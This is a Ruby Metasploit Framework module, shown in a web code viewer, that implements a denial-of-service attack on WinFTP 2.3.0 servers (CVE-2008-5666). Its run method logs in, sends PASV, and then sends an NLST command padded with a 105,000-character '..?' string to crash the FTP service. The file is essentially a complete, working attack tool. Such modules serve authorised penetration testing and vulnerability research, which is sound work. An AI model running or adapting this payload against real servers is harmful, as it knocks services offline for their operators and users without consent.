Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb
21553 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Ftp
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'WinFTP 2.3.0 NLST Denial of Service',
15
'Description' => %q{
16
This module is a very rough port of Julien Bedard's
17
PoC. You need a valid login, but even anonymous can
18
do it if it has permission to call NLST.
19
},
20
'Author' => 'kris katterjohn',
21
'License' => MSF_LICENSE,
22
'References' => [
23
[ 'CVE', '2008-5666' ],
24
[ 'OSVDB', '49043' ],
25
[ 'EDB', '6581' ]
26
],
27
'DisclosureDate' => '2008-09-26',
28
'Notes' => {
29
'Stability' => [CRASH_SERVICE_DOWN],
30
'SideEffects' => [],
31
'Reliability' => []
32
}
33
)
34
)
35
end
36
37
def run
38
return unless connect_login
39
40
# NLST has to follow a PORT or PASV
41
send_cmd(['PASV'])
42
43
raw_send("NLST #{'..?' * 35000}\r\n")
44
45
disconnect
46
end
47
end
48
49